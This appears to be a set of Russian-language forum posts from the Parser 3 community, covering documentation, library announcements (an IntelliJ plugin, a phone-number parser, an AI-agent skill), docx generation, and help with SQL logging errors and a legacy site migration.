Маркдаун моего класса работает более логично (правильно, если хотите), поэтому некоторые конструкции не очень хорошо читаются в GitHub. Например ссылки внутри бэктиков GitHub обрабатывать не умеет, или не позволяет эскейпить сами бэктики.\
\
Структура разделов документации изменилась, теперь классы вынесены на первое место, а всё остальное, наоборот, убрано подальше. Почему так случилось — напишу чуть позже, а сейчас, у всех есть возможность использовать документацию как опенсорс.\
\
Ссылка на [url=\"https://github.com/Spearance/Parser-3-Documentation/\"]документацию[/url].\
\
Как всегда приветствуются ишьи, советы, комментарии."
"87102","Предыдущий пост был не просто так, он был и остается обособленной частью проекта о котором речь пойдет ниже.\
\
Я решил переосмыслить документацию Parser и написать свой вариант, основываясь на формате Markdown. Ссылка на [url=\"https://meenga.ru/doc/\"]документацию[/url] (временная).\
\
Что изменилось в документации по Parser?\
\
[b]1. Структура[/b]\
\
Классы вынесены на первое место, потому что являются более актуальными в поиске.\
\
Некоторые разделы переставлены, например, «Комментарии к частям выражения» переехал в ветку «Условных операторов».\
\
Упрощено обращение через адресную строку браузера. Ссылки теперь выглядят так [i]/class/имя_класса/[method|field|option]/имя_метода_поля_или_опции/[/i], например:\
[i]URL/class/table/method/count/[/i].\
\
Единая структура для всех страниц с описанием.\
\
Внутри страниц описания код с примерами подсвечивается и получил возможность копирования. Из-за этого пришлось отказаться от прямых ссылок из кода на перекрестные страницы, по крайней мере пока.\
\
Все параметры внутри кода описаны через snake_case. Это сделано для удобства дальнейшего исправления после копирования в свой код.\
\
[b]2. Поиск[/b]\
\
Вынесен на все страницы. В целом поиск теперь более практичное решение чем искать по структуре разделов.\
\
Два поиска:\
- по заголовкам\
- по ключевым словам\
\
[b]3. Горячие клавиши[/b]\
\
Поиск активируется горячей клавишей /. Стрелки вверх/вниз перемещения по результатам поиска, отмена поиска (ESC) и подтверждение (Enter).\
Клавиша возврата к оглавлению раздела Alt + ← (Win) или ⌘ + ← (Мас) из страницы с описанием.\
\
[b]4. Оформление[/b]\
\
Добавлена тёмная тема.\
Птиц немного анимирован и добавлен в сноски.\
\
[b]5. Версия для печати[/b]\
\
Любую страницу можно напечатать и она будет хорошо свёрстана. Ссылки и аббревиатуры отображаются текстом.\
\
[b]Версия для смартфонов.[/b]\
\
[b]6. Прочее[/b]\
\
Улучшены семантика и типографика.\
\
В примерах символы табуляции, например в таблицах, стоят правильными знаками и не требуют замены при копировании.\
\
Добавлены аббревиатуры.\
\
---\
\
Сразу скажу что не стоит задача переплюнуть старую версию документации, они немного разные в силу излишней простоты Markdown, но эта же простота, с другой стороны, позволяет легко добавлять новые главы или создавать новые разделы, что может пригодиться в будущем.\
\
Если этот формат приживется, готов предложить его для замены текущей документации на сайте [b]parser.ru[/b], но это должно решить сообщество."
"87103","Уважаемые гуру и монстры парсера! Подскажите куда копать, на что обратить внимание и какие инструменты использовать. \
Существует написанная на парсере система куда входит товароучетная система типа 1с для работы офиса, терминал для работы менеджеров в магазине, b2b-портал для оптовиков и сайт для розничных покупателей. \
Есть необходимость прикрутить туда же внутренний мессенджер, он же тикет-система с задачами внутри компании, он же простейшая crm система для работы с клиентами. \
Из вопросов: как организовать получение и отправку почты (что-то типа простого email клиента), как организовать работу месенджера. Если кто-то решал подобные задачи буду признателен за любую информацию."
"87104","Но можно написать всё что угодно, в том числе и перечисленное вами.\
\
Как принимать почту с помощью Parser есть в описании."
"87105","Логичнее взять готовое решение для коммуникаций/тикетов и интегрировать его по API (которое написать на парсере). Да, получается некоторый зоопарк, но так теперь принято: не делать один монолит “на все”, а подключать специализированные сервисы там, где они есть."
"87106","Честно говоря не очень хочется использовать готовое там где можно сделать свое. Сейчас к учетной системе сервера по работе с ТСД для склада, в итоге все равно прихожу к тому что лишний сервер это непонятные глюки, сюрпризы и зачастую невозможность получить тот функционал который нужен, сейчас переходим на другую программу которая не использует сторонние серверы и просто работает с файлами которые получает из моей системы. Да и не попался мне продукт который бы устроил в плане коммуникаций и тикетов, если у вас есть на слуху удачные решения прошу поделиться."
"87109","Теперь когда парсер умеет в демона - это возможно, или концептуально все равно чего-нибудь не хватает?"
"87110","Парсер все равно работает в режиме запрос-ответ. Для вебсокетов и sse нужны долгоживущие процессы, которые могут отвечать через одно соединение на кучу запросов. Поэтому спокойно берем aiohttp для Питона или пишем на Го отдельный демон для чатов и всяких прокси во внешние сервисы. Пытаться все сделать на одном языке могут только программисты на Яве. :))))"
"87112","пробую сохранять exeption в базу:\
\
[code] $lMessage[EXCEPTION: ^if(def $aMessage){${aMessage}^#0A}^if(def $lException ){^json:string[$lException]}^if($lStack){^#0AStack:^#0A^lStack.menu{ $lStack.name : $lStack.file ($lStack.lineno) }[^#0A]}]\
[/code]\
строго по Вашему шаблону:\
\
[code]    ^connect[$lLogger.db]{\
      $query[^apply-taint[sql][\
        INSERT INTO $lLogger.table\
          SET\
            Session = '${status:pid}/$status:tid'\
            ^if(def $lLevel){   ,Level = ^lLevel.int(-1) }\
            ^if(def $lSection){ ,Section = _utf8'^lSection.left(250)'}\
           ,Message = _utf8'^taint[$lMessage]'\
           ,Host    = _utf8'$env:REMOTE_ADDR ^if($env:HTTP_X_REAL_IP ne $env:REMOTE_ADDR || def $env:HTTP_CF_IPCOUNTRY){($env:HTTP_X_REAL_IP $env:HTTP_CF_IPCOUNTRY)} -> $env:SERVER_ADDR'\
           ,Domain  = _utf8'$env:HTTP_HOST / $env:SERVER_NAME'\
           ,URI     = _utf8'$env:REQUEST_URI -> $env:PATH_TRANSLATED'\
           ,ENV     = _utf8'^taint[^json:string[$env:fields]]'\
           ,Forms   = ^if(def $form:fields){_utf8'^taint[^json:string[$form:fields]]'}{NULL}\
      ]]\
      ^void:sql{$query}\
    }\
[/code]\
\
не пишет в базу, пишет в лог парсера:\
\
[quote]Unhandled exception in eLogger.p(87:13): '\\n        INSERT INTO log_exception\\n          SET\\n            Session = '58979/58979'\\n               ,Level = 65535 \\n             ,Section = _utf8'UNHANDLED'\\n           ,Message = _utf8'EXCEPTION: type: sql.execute\\\\nsource: \\\\n        INSERT INTO log_exception\\\\n          SET\\\\n            Session = \\\\'58979/58979\\\\'\\\\n               ,Level = 65535 \\\\n             ,Section = _utf8\\\\'db\\\\'\\\\n           ,Message = _utf8\\\\'EXCEPTION: type: sql.execute\\\\\\\\nsource: UPDATE email SET StatusID = 200 WHERE ID = 102970\\\\\\\\nfile: /ext.bounce.p\\\\\\\\nlineno: 72\\\\\\\\ncolno: 13\\\\\\\\ncomment: UPDATE command denied to user \\\\\\\\\\\\'API\\\\\\\\\\\\'@\\\\\\\\\\\\'10.0.0.22\\\\\\\\\\\\' for table \\\\\\\\\\\\'email\\\\\\\\\\\\'\\\\\\\\nhandled: 0\\\\'\\\\n           ,Host    = _utf8\\\\'10.0.0.60 ( ) -> 10.0.0.22\\\\'\\\\n           ,Domain  = _utf8\\\\'t.local / t.local\\\\'\\\\n           ,URI     = _utf8\\\\'/?bounce -> /EXT.local/index.p3h\\\\'\\\\n          \"[/quote]"
"87113","Но суть примерно понятна, произошло исключение при INSERT INTO log_exception"
"87115","Добавил ссылку на https://www.parser.ru/docs/"
"87116","Здравствуйте! Whatsapp отъехал Телега на подходе, с 31.03.2026 отъедет из РФ cPanel так глядишь и CMSки полетят. Parser3 не планирует свою CMS для сайтов?"
"87117","https://reestr.digital.gov.ru/search/?q=%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0+%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5+%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82%D0%BE%D0%BC\
\
Можете запилить свою и разорвать рынок. Пусть Битрикс рыдает."
"87118","Есть уже даже несколько проектов в продакшене. Анти-битрикс в действии - по скорости работы и гибкости битрикс и рядом не стоял. Да и по скорости кодинга (даже скорее конфигурирования, а не программирования) бекенд очень быстро делается."
"87119","Пока вопрос на уровне дискуссии.\
\
Есть необходимость делать .docx и .xslt в работе. Причем они должны быть четко сверстаны по ГОСТ, чтобы на печати было один в один.\
\
Сразу оговорюсь, pdf не подходит, это было бы слишком просто.\
\
Если вы решаете подобные задачи, чем пользуетесь?\
\
Пишу сейчас свой OpenXML класс для Parser, скачал спеку в 3 томах, на 6+ тысяч страниц (которая, кстати, нифига не соответствует реальному положению вещей).\
\
Какая задача:\
- собирать docx из ( текст | html | markdown );\
- иметь возможность легко настраивать стили а-ля css;\
— собирать xslt из итерируемых данных;\
— докидывать шапки таблиц, оформление.\
\
Что есть:\
— собирается docx: текст полностью, html, markdown на уровне заголовков, абзацев.\
\
Понимаю что работа сумасшедшая и возможно, кроме меня никому не нужная, но вдруг."
"87120","Например, взять https://github.com/dfop02/html4docx и если он не подходит на 100% форкнуть и допилить как нужно.\
\
На Парсере это почти бесполезно делать — на больших и сложных документах производительность будет плохой, да и отлаживать совместимость с офисными пакетами замучаешься самостоятельно.\
\
Я генерирую только эксельки и использую питоновский https://xlsxwriter.readthedocs.io/. Причем либа эта есть еще и для Си и Раста."
"87121","Формулу работоспособности на разных офисах я практически вычислил (ну или кажется что так). По крайней мере не лагает и +/- везде одинаково.\
\
Почему хочется именно самостоятельно генерить? Появляется определенный контроль над происходящим, не просто сунул HTML-ку и он как-то перевел. Хочется получать ожидаемый результат. Особенно это важно, когда делаешь это под ГОСТ, где от этого зависит аккредитация компании.\
\
Согласен, большие документы будет непросто парсить, но документы на десяток страниц — вполне себе.\
\
p.s. спасибо за ссылки, посмотрю, очень интересно"
"87122","https://python-docx.readthedocs.io/en/latest/index.html\
\
Вокруг которой можно построить что угодно своё.\
\
Я для эксельек сделал миниязык на джисоне и уже из него формирю эксельку из sql-запросов."
"87123","Потому что базовое понятно и без чужих библиотек. Непонятно как организовать стили общие [code]styles.xml[/code] и инлайновые внутри [code]document.xml[/code] как сделать их слияние и прочую оформительскую чепуху. А заодно и потестировать, может Parser окажется не так уж плох.\
\
Опять же класс в копилку примеров и на GitHub будет не лишним :)"
"87124","Но как всегда упираемся в невалидный HTML, отсутствие `/>` в одиночных тегах, т.е. сперва нужно нормализовывать HTML до XHTML, чтобы он хотя бы не падал.\
\
Итак уже пришлось таблицу мнемоников для реплейса подготовить, чтобы они в Word нормально отображались."
"87145","Работа над разработкой helpdesk. Оплачиваемая."
"87146","Оставьте контакты, пожалуйста"
"87147","xdoc@yandex.ru"
"87148","99% кода написано ИИ.\
\
Скачать ZIP для установки: https://github.com/mryasov-als/parser3-intellij-plugin/releases/tag/v0.7.39\
\
Видео с установкой и кратким обзором возможностей: https://disk.yandex.ru/i/wuDDEb5vGbZ3JQ"
"87149","На https://www.parser.ru/utils/ еще рано добавлять или уже можно? :)"
"87150","если файлом.\
предполагается еще обновить.\
если ссылкой на https://github.com/mryasov-als/parser3-intellij-plugin/releases/latest то можно"
"87152","https://github.com/artlebedev/parser3-skills/\
\
Наш разработчик Артем Галоян сделал скилл Parser 3 для ИИ-агентов. Работает с Claude Code и Codex, чтобы они лучше понимали язык при написании и проверке кода. Инструкции по установке и использованию в README."
"87153","[b]Parser3 Phone Number[/b]\
\
Сделал отдельный Parser-класс для разбора, нормализации, форматирования и валидации телефонных номеров разных стран.\
\
Git: [url=\"https://github.com/mryasov-als/parser3-phone-number\"]mryasov-als/parser3-phone-number[/url]\
\
[b]Что умеет[/b]\
\
- принимает любую строку с номером: пробелы, скобки, дефисы, плюс;\
- нормализует номер в E.164;\
- возвращает страну, country calling code, национальную часть, international/national формат;\
- определяет тип номера: MOBILE, FIXED_LINE, TOLL_FREE и т.п.;\
- умеет работать без defaultCountry, если страна определяется однозначно;\
- если номер подходит нескольким странам, возвращает валидный результат с предупреждением ambiguous_country;\
- runtime полностью на Parser3: без JS, Node.js, HTTP API и shell-команд при разборе.\
\
[b]Пример использования[/b]\
\
[code]\
@USE\
PhoneNumber.p\
\
$phone[^PhoneNumber:parse[9990000000][\
	$.defaultCountry[ru]\
]]\
[/code]\
\
Можно создать экземпляр с настройками по умолчанию:\
\
[code]\
$PhoneParser[^PhoneNumber::create[\
	$.defaultCountry[ru]\
]]\
$phone[^PhoneParser.parse[9990000000]]\
[/code]\
\
[b]Пример результата[/b]\
\
[code]\
$phone[\
	$.ok(true)\
	$.valid(true)\
	$.possible(true)\
	$.ambiguous(false)\
	$.warning[]\
	$.country[ru]\
	$.countryCallingCode[7]\
	$.e164[+79990000000]\
	$.digits[79990000000]\
	$.nationalDigits[9990000000]\
	$.international[+7 999 000 00-00]\
	$.national[8 (999) 000-00-00]\
	$.type[MOBILE]\
	$.error[]\
	$.candidates[^table::create{country\
	}]\
]\
[/code]\
\
[b]Неоднозначный пример без defaultCountry[/b]\
\
[code]\
$phone[^PhoneNumber:parse[8 800 555-55-50]]\
[/code]\
\
Такой номер валиден, но без страны неоднозначен:\
\
[code]\
$phone[\
	$.ok(true)\
	$.valid(true)\
	$.possible(true)\
	$.ambiguous(true)\
	$.warning[ambiguous_country]\
	$.country[]\
	$.countryCallingCode[375]\
	$.e164[+3758005555550]\
	$.digits[3758005555550]\
	$.nationalDigits[8005555550]\
	$.international[+375 800 555 5550]\
	$.national[8 800 555 5550]\
	$.type[TOLL_FREE]\
	$.error[]\
	$.candidates[^table::create{country\
by\
de\
id\
kz\
lu\
ru}]\
]\
[/code]\
\
Если нужен именно российский вариант, нужно передать defaultCountry[ru].\
\
[b]Данные[/b]\
\
Справочник генерируется из metadata libphonenumber-js / Google libphonenumber и сохраняется сразу в Parser3-файл PhoneNumberMetadata.p. В runtime ничего внешнего не вызывается.\
\
В репозитории есть тесты и fixture-примеры по странам."
"87156","Добрый день, у нас есть сайт на parser3, раньше он был на VDS и работал\
\
Решили перенести сайт на виртуальный хостинг\
Мы распаковали файлы сайта и загрузили дамп базы данных в новую базу на хостинге \
\
В каталог cgi-bin был скачан parser. Мы перенесли и отредактировали файл auto.p таким образом, чтобы пути к файлам и базе данных соответствовали нашему хостингу.\
\
Сайт проходит все проверки через _test.html:  который используется для диагностики https://www.parser.ru/utils/\
\
Однако при входе на сам сайт мы получаем ошибку:\
========\
sele ct * from en_tree where lang='''' and cluster = \"\" and id= and (attrib=1 or attrib=0) and ( (begin is null) or (begin <= now()) ) and ( (stop is null) or (stop > now()) )\
\
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''and (attrib=1 or attrib=0)\
and\
( (begin is null) or (begin <= now()) ...'' at line 1\
=======\
\
Скажите пожалуйста как можно заставить работать сайт на хостинге?\
Какие требования к базе данных по версии, есть ли требования к версии PHP или какие-то другие специфические требования?"
"87157","Проблема в вашем коде. Где-то не проставилось значение id в sql-запрос"
"87158","Спасибо за ответ, в коде проблем нет, у нас на VDS все работало, видимо проблемы с версией базы данных и движка, подскажите пожалуйста где можно скачать старые версии движка, сайт делали еще в конце 2000х."
"87159","Надо посмотреть, какая версия парсера была раньше (показывается при запуске parser3.cgi из консоли или обращении к /cgi-bin/parser3.cgi из браузера) и в идеале поставить такую же (можно попробовать просто взять бинарник парсера со старого хостинга)."
"87160","Добрый день,\
Parser/3.4.4 (compiled on x86_64-unknown-linux-gnu)\
\
Где можно скачать старые версии парсера и как перейти на новую?"
"87161","Здесь https://www.parser.ru/download/linux/ есть 3.4.6 смотрите внизу. В сравнении с 3.4.4 там не много изменилось — попробуйте"
"87162","Если судить по 3.4.4, то получается, что парсер остался тот же, что был на старом хостинге? Тогда при корректном переносе файлов сайта и базы данных все должно работать, как и раньше. Чудес не бывает, надо проверять корректность переноса. Есть конечно небольшая вероятность, что дело в изменении версии сервера БД, но очень небольшая. Если с файлами/БД сами проблем не найдете, логичнее обратиться к разработчику сайта, но если он недоступен - можете послать SSH доступ и URL сайта на mailbox@parser.ru, посмотрю в воскресенье."
"87163","Добрый вечер, спасибо большое за помощь, удалось решить вопрос откатом на Ubuntu 20.04 и использованием библиотеки от CentOS 6.4, на современном движке и библиотеках сайт к сожалению не взлетает, жалуется на синтаксис, видимо код сайта не совсем валидный, есть предположение что на новом движке правила валидации SQL запросов стали более жесткими."
